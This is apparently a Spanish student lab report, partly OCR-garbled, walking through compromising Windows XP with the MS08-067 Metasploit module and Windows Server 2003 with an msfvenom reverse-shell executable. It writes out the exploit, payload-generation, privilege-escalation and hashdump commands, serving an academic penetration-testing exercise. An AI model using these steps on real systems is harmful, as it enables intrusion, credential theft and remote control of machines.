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Introduccion

Este informe presenta el desarrollo completo de una préactica en la cual se realizaron
pruebas de explotacion sobre sistemas operativos Windows XP y Windows Server 2003 desde
una maquina con Kali Linux. El objetivo principal fue demostrar el proceso necesario para
generar un archivo malicioso (payload), transferirlo a la maquina victima, ejecutarlo y establecer
una conexion remota utilizando la herramienta Metasploit.

Durante la préctica, se siguieron diferentes etapas: preparacion del entorno, creacion del
ejecutable central.exe, configuracion de un servidor web para su descarga, ejecucion del archivo
en la maquina Windows y posterior conexion mediante el modulo multi/handler de Metasploit. A
través de estas acciones, se logro establecer una sesion con Meterpreter que permitio ejecutar
comandos, obtener informacion del sistema y confirmar el nivel de control alcanzado.

Todo el procedimiento se realizo en un entorno de laboratorio con fines académicos, lo
que permitié comprender como funciona el flujo de una explotacion practica desde la creacion
del payload hasta la interaccion con el sistema comprometido. Este ejercicio es fundamental para
reforzar conocimientos sobre herramientas de auditoria y métodos de prueba utilizados en

entornos controlados.



Objetivos
Objetivo general
Realizar una auditoria préctica de explotacion sobre sistemas Windows XP y Windows
Server 2003 desde un entorno Kali Linux, con el fin de identificar vulnerabilidades criticas y

evidenciar el impacto de no aplicar actualizaciones de seguridad en sistemas obsoletos.

Obijetivos especificos

e Preparar el entorno de laboratorio con las maquinas necesarias para la simulacion
del ataque.

e Generar y configurar un payload para establecer una conexion remota con el
sistema objetivo.

e Ejecutar el proceso de explotacion utilizando Metasploit y confirmar el acceso
mediante sesiones de Meterpreter.



Planteamiento del problema

Demostrar de forma préctica como es posible comprometer un sistema Windows obsoleto
mediante la ejecucion de un archivo generado desde Kali Linux y la conexién posterior con
Metasploit. La dificultad principal consiste en realizar cada paso correctamente para que la
explotacion sea exitosa, desde la preparacion del archivo ejecutable hasta la apertura de la sesion
remota.

Durante la préactica se planteo el reto de configurar adecuadamente la ruta del payload,
establecer los permisos correctos para que pudiera descargarse desde el navegador y asegurarse
de que el servidor Windows pudiera ejecutar el archivo sin inconvenientes. Una vez superados
estos puntos, el siguiente desafio fue configurar Metasploit con los parametros adecuados

(LHOST, LPORT, tipo de payload) para que la conexidn se estableciera de forma estable.



Explotacion de Kali Linux a Windows XP
En este paso lo que hice fue abrir la herramienta Metasploit desde mi maquina Kali
Linux. Para eso utilicé el comando msfconsole, que es el que inicia la consola principal del
programa. Una vez se cargd, me aparecio la pantalla de bienvenida con el logo en ASCIl y un
mensaje caracteristico que muestra Metasploit.
Este es basicamente el punto de partida para comenzar a trabajar con la herramienta, ya
que desde aqui puedo buscar exploits, configurarlos y usarlos contra la maquina objetivo. Es

decir, estoy preparando el entorno para iniciar la explotacion de vulnerabilidades méas adelante.

M rootkai: momedcall

File Actions Edit View Help

lustracion 1consola de metasploit

Después de iniciar Metasploit, lo que hice fue comenzar a buscar exploits que estuvieran
relacionados con el servicio NetAPI, ya que este es uno de los mas conocidos por tener
vulnerabilidades en sistemas Windows antiguos. Para esto usé el comando search netapi.

El sistema me devolvié una lista de varios exploits disponibles, entre ellos los mas

conocidos como el MS08-067, que aparece en la parte inferior de la lista. Este exploit es famoso
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porque aprovecha una falla grave en el servicio de red de Windows y fue uno de los més
utilizados en su momento para comprometer equipos con Windows XP y 2003.

Basicamente, en este punto lo que estaba haciendo era identificar qué vulnerabilidad
podia ser explotada en la maquina victima, y verificar que Metasploit tiene modulos listos para

trabajar con esa debilidad.

lustracion 2Busqueda de exploits

En esta parte ya seleccioné el exploit que iba a utilizar. Me decidi por el MS08-067, que
es uno de los mas efectivos para aprovechar vulnerabilidades en equipos con Windows XP o
2003. Para hacerlo, escribi el comando use exploit/windows/smb/ms08 067 netapi y con eso
cargué el mddulo dentro de Metasploit.

Luego, revise las opciones disponibles con el comando show options. Alli se muestran
los parametros que necesito configurar antes de lanzar el ataque. Entre esos aparece el RHOST,

que es la direccion IP de la maquina victima; el RPORT, que en este caso es el puerto 445 (por
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donde funciona el servicio SMB); y ademas el payload que se va a usar, que en este caso es

windows/meterpreter/reverse_tcp.

Iustracion 3Seleccion del exploit

En este punto lo que hice fue configurar la direccién IP de la maquina victima. Para eso
utilicé el comando set RHOSTS 10.10.10.8, que corresponde al equipo objetivo al que quiero
atacar. Después volvi a ejecutar show options para confirmar que la configuracion se hubiera
guardado correctamente.

Como se puede ver en la pantalla, ahora el parametro RHOSTS ya muestra la IP de
destino (10.10.10.8). Los demas valores, como el puerto 445, ya estaban por defecto porque ese
es el que usa el servicio SMB, y el payload sigue siendo windows/meterpreter/reverse_tcp.

Con este paso dejé el exploit listo para ejecutarse sobre la maquina victima, ya que ahora

Metasploit sabe contra qué direccidn debe lanzar el ataque.



B @ o016
root@kali: mome/kali = X
File Actions Edit View Help
Exploit target:
Id Name

© Automatic Targeting

with the

Name

RHO! 0 | .com/docs/using-metas) tasploit.html
RPORT
SMBPIPE Bl

Payload optio

Name

EXITFUNC threa
LHOST 10.10.10.5
LPORT s

Exploit target:

Iustracion 4configurar la direccion IP de la maquina victima

Aqui lo que hice fue configurar el payload que iba a usar, en este caso
windows/meterpreter/reverse_tcp. Esto significa que, si el exploit funciona, voy a obtener una
conexién remota con la maquina victima usando Meterpreter.

Luego ejecuté el comando exploit para lanzar el ataque. El sistema empez0 a trabajar:
primero detecto el objetivo, que resulté ser un Windows XP con idioma en espariol, y después
intent6 aprovechar la vulnerabilidad.

El ataque fue exitoso porque se abrid una sesion de Meterpreter, lo cual indica que logré
acceso al equipo de la victima. Sin embargo, la sesion se cerrd rapidamente con el mensaje

“Reason: Died”.

lustracion 5configurar el payload
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Ejecuté nuevamente el exploit contra la maquina victima. El sistema reconoci6 otra vez
que se trataba de un Windows XP con Service Pack 3 en espafiol, y luego envio la carga
maliciosa para aprovechar la vulnerabilidad.

En este intento, el ataque fue exitoso y logré abrir varias sesiones activas de
Meterpreter, lo cual me dio acceso remoto estable al equipo objetivo. Esto significa que
consegui tomar el control de la maquina comprometida y desde este punto podria ejecutar
comandos, explorar archivos o incluso mantener el acceso de forma persistente.

Con este resultado confirmé que el exploit MS08-067 funciona correctamente en la

victima seleccionada y que es posible comprometer equipos vulnerables a través de esta falla.

lustracion 6Ejecucion del exploit de la maquina

En esta parte logré comprobar que la explotacion fue totalmente exitosa. Desde la sesion
de Meterpreter, abri un servicio VNC que me permitié visualizar y controlar de forma remota el
escritorio de la maquina victima, la cual corre Windows XP.

En la ventana se puede ver claramente gque tuve acceso al sistema operativo, incluso
abriendo una terminal de comandos donde ejecuté el comando ipconfig. Con esto confirmé que
efectivamente estaba dentro de la red de la victima, mostrando la direccién IP del equipo
comprometido (10.10.10.8) y sus configuraciones de red.

Este resultado es la prueba mas evidente de que el ataque funciond, ya que no solo logré
abrir una sesidén con Meterpreter, sino también controlar graficamente la maquina objetivo como

si estuviera frente a ella.



[>_] " TightVNC: yeiber-e7e5fe63 - [u] X %

T LN

Simbolo del sistema

¥ nicio.

llustracion 7Acceso remoto exitoso

Luego ejecuté el comando sysinfo, con el cual confirmé que la maquina comprometida
correspondia a un Windows XP SP3 (version 5.1, build 2600), arquitectura x86, en idioma
espafol, dentro del dominio INICIOMS, y que ademas tenia 2 usuarios activos en sesion.

Con este procedimiento verifiqué que no solo contaba con acceso por consola, sino
también con control visual e interactivo del entorno grafico del sistema, lo cual amplia

significativamente las posibilidades de manipulacion dentro del ejercicio de explotacion.

5.1 Build 2600, Service Pack 3).

lustracion 8Ejecucion del comando sysinfo

Después de establecer la sesion con la maquina victima, ejecuté el comando getuid en

meterpreter para comprobar con qué nivel de privilegios habia logrado acceder al sistema. El



resultado mostr6 que mi usuario activo correspondiaa NT AUTHORITY\SYSTEM, lo cual
significa que obtuve los maximos privilegios dentro del sistema operativo.

Esto confirma que la explotacion fue totalmente exitosa, ya que no solo consegui una
sesion de meterpreter y acceso al escritorio remoto mediante VNC, sino también el control

absoluto de la méquina victima con permisos de administrador a nivel de sistema.

er » getuid
ey username: NT AUTHORITYA\SYSTEM

lustracion 9Ejecucion del comando comando getuid

Una vez confirmé que ya me encontraba ejecutando la sesidén con privilegios de
SYSTEM, utilice el comando getsystem para verificar si era posible elevar privilegios, pero el
resultado mostro que ya estaba corriendo como SYSTEM, lo que ratificé mi control absoluto
sobre la maquina.

Posteriormente, ejecuté el comando hashdump, el cual me permitio extraer los hashes de
las contrasefias almacenadas en el sistema operativo. Como resultado, obtuve los registros de
varios usuarios locales, entre ellos:

e Administrador

e Asistente de ayuda

e Invitado
e SUPPORT _388945a0
e Yeco

Con esta informacion, confirmé que no solo tenia el control total de la maquina, sino

también acceso a los hashes de credenciales que podrian ser crackeados posteriormente para
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obtener las contrasefias en texto plano. Este paso demuestra como, a través de la explotacién
exitosa, es posible comprometer completamente la seguridad del sistema y acceder a informacién

altamente sensible.

lustracion 10Ejecucion del getsystem

En esta parte lo que hice fue listar todos los procesos que se estaban ejecutando en el
sistema comprometido. Para eso use el comando ps dentro de la sesion de meterpreter. Con este
resultado pude ver el nombre de cada proceso, el usuario que lo estaba ejecutando y la ruta desde
donde se estaba corriendo en Windows. Esto es importante porque me permite identificar
procesos criticos del sistema como explorer.exe, Isass.exe o svchost.exe, y también ver si hay

alguno sospechoso que me pueda servir para seguir con la explotacion o para mantener el acceso.

NT AUTHORITY
NT AUTHORITY

io de red
I0 LOCAL

lustracion 11Ejecucion del comando PS
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Aqui lo que hice fue usar el comando ipconfig dentro de la sesion de meterpreter para
revisar la configuracion de red de la maquina a la que accedi. Con esta informacion pude ver las
interfaces de red disponibles, incluyendo la direccién IP asignada, que en este caso es 10.10.10.8,
junto con su mascara de red. Esto me sirve para saber en qué red interna se encuentra el equipo,
queé conexion esta usando y también para planear posibles movimientos laterales hacia otros

dispositivos conectados en la misma red.

r > ipconfig

MS TCP Loopback interface
‘p0:e0:00:00

IPv4 Address : 127.0.0.1

de servidor PRO/18@@ T de Intel(R) - Minipuerto del administrader de paguetes
8:db:69

meterpreter >

lustracion 12comando ipconfig

En este paso utilicé el comando shell desde meterpreter para abrir una consola
directamente en el sistema comprometido. Esto me permitio interactuar con el equipo victima
como si estuviera sentado frente a él. Al ejecutarlo, se cre6 un nuevo proceso y un canal de
comunicacion, y logré acceder a la linea de comandos de Windows XP en la carpeta
C:\WINDOWS\system32. Con este acceso ya puedo lanzar comandos propios de Windows, lo

que me da un mayor control sobre la maquina.
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JP [Versien 5.1.2600]

-20@1 Microsoft Corp.

lustracion 13shell

Una vez dentro de la consola de Windows, utilicé el comando cd .. dos veces para
moverme hacia atras en las carpetas. Al principio estaba ubicado en C:\WINDOWS\system32,
luego pasé a la carpeta C:\WINDOWS y finalmente llegué al directorio raiz **C:**. Con este
movimiento lo que hice fue ubicarme en la raiz del sistema para tener un mejor control y poder

explorar mas facilmente el resto de directorios del equipo.

A\WINDOWSYsystem32>cd

C:\WINDOWS:=>

C: \WINDOWS>cd

lustracion 14comando cd

Aqui lo que hice fue usar el comando dir para listar el contenido del directorio principal
**C:**_ Al ejecutar el comando pude ver las carpetas mas importantes del sistema, como
Archivos de programa, Documents and Settings y WINDOWS, ademas de algunos archivos

de configuracion como AUTOEXEC.BAT y CONFIG.SYS. Esta informacion me sirve para
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tener un panorama general de como esta organizado el sistema y desde ddnde puedo seguir

explorando informacion relevante del equipo.

a unidad C no ti
El nemero ie del volumen e

Directorio

17:14 <DIR> rchiv programa
17:12 C

nd Settings

lustracion 15comando dir

En esta parte me movi hacia la carpeta Documents and Settings usando el comando cd
Doc*, que me permitio acceder rapidamente sin escribir el nombre completo. Una vez dentro,
ejecuté el comando dir para ver su contenido. Alli pude observar las carpetas de usuarios como
All Users y Yeco, lo que me confirma que el sistema tiene varias cuentas registradas. Este paso
es importante porque me da la posibilidad de explorar los archivos y configuraciones de cada

usuario, donde generalmente se guarda informacion sensible.

EL volumen de 1: i C no tiene
EL nemero de e del volumen es:

Directorio de

<DIR>
<DIR>
<DIR>
<DIR>
hiv
4 dirs 40.050.487.296 byt

C:\Documents and Settings>f]

lustracion 16carpeta Documents
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Aqui entré a la carpeta del usuario Yeco usando el comando cd Ye* y después ejecuté dir
para ver su contenido. Dentro de este directorio encontré las carpetas tipicas de un perfil de
usuario en Windows, como Escritorio, Favoritos, Menu Inicio y Mis documentos. Esto
confirma que estoy navegando en los archivos personales del usuario, lo cual es muy Gtil porque
en estas carpetas normalmente se guarda informacion privada, accesos directos o configuraciones

que pueden darme mas pistas para la auditoria.

C:“\Documents and Settings>cd Yex
cd Yex

C:\Documents and Settings\Yeco>dir

dir
EL volumen de la unidad C no tiene etigueta.
ELl nemero de serie del volumen es: 5C6F-9766

Directorioc de C:\Documents and Settings\Yeco

<DIR>
<DIR> r
<DIR> Escritorio
<DIR> Favoritos
<DIR> Mene Inicio
<DIR> Mis documentos
@ archivos @ bytes
6 dirs 4@.050.487.296 bytes libres

C:\Documents and Settings\Yeco>|]]

llustracion 17comando cd Ye*

En este Gltimo paso accedi al Escritorio del usuario Yeco utilizando el comando cd Es*
y luego ejecuté dir para ver qué archivos tenia alli guardados. El resultado mostré que en esa
carpeta no habia ninglin archivo almacenado, solamente los directorios por defecto (“.” y “..”).
Aunque no encontré nada en el Escritorio, este recorrido me permitié confirmar que tenia acceso

total a la informacion personal del usuario, lo que es clave dentro de la practica de auditoria de

seguridad.



C:\Documents and Setting
cd Es+*

ocuments and Settings co\Escritorio>dir

El volumen de la unidad C no tiene etigueta.
El nemero de serie del volumen es: 5C6F-9766

Directorio de C:\Documents and Settings\Yeco‘Escritorio

@ bytes
4D.050.487.296 bytes libres

C:\Documents and Settings\Yeco\Escritorio>f]

llustracion 18comando cd Es*

Aqui lo que hice fue crear nuevas carpetas en el Escritorio del usuario Yeco. Primero
utilicé el comando mkdir LAB-FELIPE vy verifiqué con dir que la carpeta se habia creado
correctamente. Luego repeti el mismo procedimiento con el comando mkdir LAB-ASPRILLA,
y nuevamente comprobeé con dir que ahora en el Escritorio existian las dos carpetas creadas. Con
este ejercicio confirmé que tenia permisos de escritura en el sistema, lo cual significa que podia

no solo leer informacion, sino también modificar y crear archivos en la maquina comprometida.

cuments and Settings\Yeco“\Escritorio>mkdir LAB-FELIPE

cuments and Settings o%Escritorio>dir

El wvolumen de
El nemero de

Directorio de

C:\Documents and Settings
mkdir LAB-ASPRILLA

cuments and Settin

El volumen de la unidad C no t
El nemero de serie del volumen e

torio d

LAE-ASPRILLA
LABE-FELTPE
L] 5

C:%Documents and Settin

llustracion 19comando mkdir LAB-FELIPE
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En esta Ultima captura se puede ver en el Escritorio de Windows que efectivamente
quedaron creadas las carpetas LAB-FELIPE y LAB-ASPRILLA, tal como lo hice desde la
consola. Esto confirma que los comandos que ejecuté funcionaron correctamente y que los
cambios se reflejaron de manera visible en el sistema victima. Con esto demostre que no solo
pude acceder y explorar el equipo, sino también modificarlo, lo cual es un indicador claro del

nivel de control alcanzado durante la practica.

LAB-FELIPE®

LAB-ASPRILLA

llustracion 20carpetas LAB-FELIPE y LAB-ASPRILLA

Primero, creé una carpeta llamada Laboratorio-asprilla para organizar todo el trabajo
del ejercicio. Luego entré en esa carpeta para empezar a trabajar dentro de ella. Después, utilicé
una herramienta para generar un archivo ejecutable que me iba a permitir conectarme de forma
remota a la maquina Windows. Al principio cometi un error porque puse mal la ruta del archivo
y no se pudo crear.

Luego corregi el comando y volvi a generarlo, esta vez en la carpeta correcta. El archivo
se creod con éxito y se llamo central.exe. Este archivo sera el que se ejecute en el servidor

Windows para poder establecer la conexion.
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Explotacién de Kali Linux a Windows server 2003
Abri el navegador en la maguina Windows y escribi la direccion del servidor
(http://10.10.10.5). Al cargar la pagina, me apareci6 la pantalla por defecto de Apache2 en
Debian, lo que significa que el servidor web est& funcionando correctamente. Esta pagina indica
que el servicio esta activo y que puedo seguir trabajando con los archivos que suba a la carpeta

del servidor web.

3 Index of / - Microsoft Internet Explorer A T T
Archivo Edicién Ver FEavoritos Herramientas  Ayuda | &

QAwss ~ ) - (x] (2] | ) Bisqueda ' Favoritos €4 | v . (3 i

Direccién [&] http://10.10.10.5/ =] 3w | vincuos »

@ Apache2 Debian Default Page I

.
: debian
This is the default welcome page used to test the correct operation of the Apache2 server after =
installation on Debian systems, If you can read this page, it means that the Apache HTTP server install
at this site is working properly. You should replace this file (located at /var/wwwe/html/index. html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means

that the site is currently unavailable due to maintenance, If the problem persists, please contact the
site's administrator.

Configuration Overview

Debian's Apache2 default configuration is different from the upstream default configuration, and split in
several files optimized for interaction with Debian tools. The configuration system is fully documente:«
in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full documentation.
Documentation for the web server itself can be found by accessing the manual if the apache2-doc
package was installed on this server.

The configuration layout for an Apache2 web server installation on Debian systems is as follows:

3]
ljlnlm| i) j|‘gwmod._ B 19w

lustracion 21Apache2 en Debian

primero creé una carpeta llamada Laboratorio-asprilla para organizar el trabajo. Entré
en esa carpeta y utilicé la herramienta msfvenom para generar un archivo ejecutable que me
permitiera conectarme de forma remota al servidor Windows.

Al principio, cometi un error en la ruta donde iba a guardar el archivo, por eso el

comando no funciond. Luego corregi la ruta y volvi a generar el payload correctamente con el
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nombre central.exe. Finalmente, comprobé que el archivo se cre6 bien ejecutando el comando

Is, y ahi aparecio el ejecutable listo para usar.

a> f -p windor everse_tcp LHOST=10.10.10.5 LPORT=4444 -f exe /home/kali/Lab-andres/central.exe
/home/kali/Lab-a

tcp LHOST=18.10.10.5 LPORT=4444 —f exe > /home/kali/Laboratorie-asprilla/central.exe
om the paylead

lustracion 22Carpeta Laboratorio-asprilla

Después de generar el archivo central.exe, lo copié a la carpeta donde se guardan los
archivos que se pueden descargar desde el navegador, que es /var/www/html/. Para poder
hacerlo, utilicé permisos de administrador porque esa carpeta es del sistema.

Luego le cambié los permisos al archivo para que pudiera ser ejecutado sin problemas por
otros usuarios, asignandole permisos 755.

Por ultimo, entré a la carpeta /var/www/html/ y verifiqué que el archivo central.exe se

habia copiado correctamente, junto con otros archivos que ya estaban ahi.

C:%home' i\Laboratorio-asprilla> sudo cp central.exe /var/www/html/
[sudo] p word for kali:

C:“\home\kali\Laboratorio-asprilla> sudo od 755 fvar/www/html/central.exe
C:Zhome\kali\Laboratorio-asprilla> cd /fvar/www/html/

C:hwarhwaw'\html>
central.exe factura.exe indexfs.html index.nginx-debian.html

C:\wvar\wawi\html> |

llustracion 23archivo central.exe
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Luego, desde la maquina Windows Server 2003, abri el navegador Internet Explorer y
accedi a la direccion del servidor (http://10.10.10.5) para ver los archivos que estaban
disponibles. Entre ellos estaba el archivo central.exe que habia colocado antes.

Hice clic en el archivo y apareci6 la opcidn para descargarlo. Lo guardé en el escritorio

del servidor paratenerlo a la mano y poder ejecutarlo después.

—151x]

of / - Mi
frchive  Ef Ver  Favorins  He ayuda ‘ w
rés ~ ) - %] 2] 3| 0 Bsmeds ¢ Favaries 42 | (0=
S EBr | vincues >

Index of /

Name

central exe 20
factura exe 20
index nginx-dsbian html 20
indlexfs.html 20

Apachel2.4.62 (Debian) Serve

4eb
| &) index of

lustracion 24maquina Windows Server 2003

Después de descargar el archivo desde el navegador, verifiqué que el ejecutable
central.exe se encontraba en el escritorio del servidor Windows. Esto me confirma que el

archivo se copid y descargd correctamente, y ya esta listo para ejecutarlo cuando lo necesite.
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factura,exe

lustracion 25ejecutable central.exe

Después de preparar todo, abri la herramienta Metasploit en Kali Linux usando el
comando msfconsole. Esta herramienta sirve para gestionar los ataques y establecer la conexion
con el archivo que se va a ejecutar en el servidor.

Al iniciar, aparece una animacion divertida que simula accesos denegados con mensajes
como “YOU DIDN'T SAY THE MAGIC WORD”, pero esto solo es una parte estética. Luego

cargd correctamente la consola, donde ya se puede empezar a configurar el exploit.

ip: Use the edit command te open the currently a

DENIED.
grid
DENIED.
ecurity grid
N DENIED....and ...

429 post
11 nops

tion: https://docs.metasploit.com/

llustracion 26comando msfconsole
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Una vez en Metasploit, configuré el médulo necesario para conectarme con el archivo
que se ejecuto en el servidor Windows. Primero seleccioné el exploit multi/handler, que sirve
para recibir la conexién. Después, indiqué el tipo de conexién que iba a usar, que en este caso
fue meterpreter reverse TCP.

Luego configuré mi direccion IP (LHOST) y el puerto (LPORT) para que el servidor
supiera a donde conectarse. Finalmente ejecuté el exploit y, como se ve en la imagen, se
establecio la sesion correctamente. Esto significa que ya tenia acceso remoto al servidor

Windows 2003 desde mi Kali Linux.

Metasploit Documentation: https://docs.metasploit.com/

/multi/handler

cp
16.10.10.5
) > set LPORT 4444
> exploit

& bytes) to 18.10.
ion 1 opened (10.10.10.5:4444 — 10.10.10.10:1049) at 2025-09-83 03:17:25 -@500

lustracion 27Ejecucion en el servidor Windows

Después de tener la conexion establecida con meterpreter, utilicé el comando sysinfo
para obtener informacion del sistema comprometido. Pude confirmar que se trataba de un
Windows Server 2003, con arquitectura x86, en idioma espafiol y que habia dos usuarios
conectados. Esto me permite comprobar que la explotacién fue exitosa y que ahora tengo control

sobre el sistema remoto.
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Computer H iV
0s : : 3 (5.2 Build 3790, Service Pack 1)

Iustracion 28comando sysinfo en server 2003

Después, utilicé el comando getuid para comprobar el usuario con el que tenia acceso y
confirmé que era el administrador del servidor. Luego ejecuté el comando getsystem para elevar
privilegios y conseguir control total del sistema. El resultado indicé que la técnica se aplicd

correctamente, lo que significa que ahora tengo permisos completos sobre el servidor Windows.

id
RVER\Administrador

ystem
technigue 1 (Named Pipe Impersonation (In Memory/Admin}).

lHustracion 29comando getuid en server 2003

utilicé el comando hashdump para extraer los hashes de las contrasefias de los usuarios
del sistema. Esto me permitio obtener las credenciales cifradas del administrador, el invitado y
otro usuario de soporte. Con estos hashes se podrian intentar ataques posteriores para descifrar
las contrasefias. Esto confirma que el acceso fue completo y que se logro extraer informacion

sensible del servidor.

lHustracion 30comando hashdump en server 2003
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Ejecuté el comando netstat desde la sesion de Meterpreter para revisar las conexiones
activas en el servidor Windows. En la lista pude ver claramente que el archivo central.exe esta
en estado ESTABLISHED, lo que indica que la conexion entre el servidor y mi méaquina Kali
sigue activa y funcionando correctamente. Esto confirma que la sesién remota esta establecida y

operativa.

r Inode PID/Progral

LISTEN @ ]

. LISTEN ]
0.0.0.0: . LISTEN ]
L N . LISTEN ]
le.10.10 . 444 ESTABLISHED ]
[}

]

]

0.0.0.0:*%

llustracion 31comando netstat en server 2003

Por ultimo, ejecuté el comando shell desde la sesion de Meterpreter para obtener acceso
directo a la linea de comandos del sistema Windows. Esto me permitié interactuar con el
servidor como si estuviera fisicamente frente a él, usando su consola. Al aparecer la ruta
C:\WINDOWS\system32>, confirmé que tengo control total del sistema mediante una consola

remota.

osoft Windows [Versien 5.2.379@]
Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\system32>[]

llustracion 32comando shell en server 2003



Recomendaciones
Actualizar los sistemas operativos obsoletos por versiones soportadas y seguras.
Aplicar parches de seguridad de forma periddica para reducir la superficie de ataque.
Implementar mecanismos de segmentacion de red para aislar dispositivos vulnerables en
entornos controlados.
Restringir privilegios y monitorear accesos remotos, evitando que se ejecuten payloads o
conexiones no autorizadas.
Capacitar al personal en ciberseguridad, especialmente en la identificacion de riesgos

asociados a software desactualizado.
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Conclusion

La préctica fue exitosa, ya que se logré cumplir con todos los objetivos planteados:
generar el payload en Kali Linux, transferirlo y ejecutarlo en la maquina Windows Server 2003,
establecer la sesion remota con Metasploit y confirmar el control total del sistema victima. A lo
largo del proceso se comprobo la conexidn activa entre ambas maquinas, se valido la identidad
del usuario con privilegios administrativos y se obtuvieron datos sensibles como los hashes de
las contrasefias del sistema.

Este ejercicio permitié comprender, paso a paso, cdmo interactdan las herramientas
utilizadas y la importancia de una configuracion correcta en cada etapa para lograr la
explotacion. Ademas, se pudo evidenciar la capacidad de Meterpreter para ejecutar comandos
internos, abrir una shell del sistema operativo, manipular archivos y mantener la comunicacion
estable con el equipo comprometido.

En conclusion, el desarrollo practico aporto experiencia en el uso de Metasploit, en la
preparacion del entorno y en la ejecucion de comandos dentro de una sesion remota. Todo esto
en un escenario controlado, confirmando la viabilidad de la técnica aplicada para este tipo de

pruebas en sistemas desactualizados.
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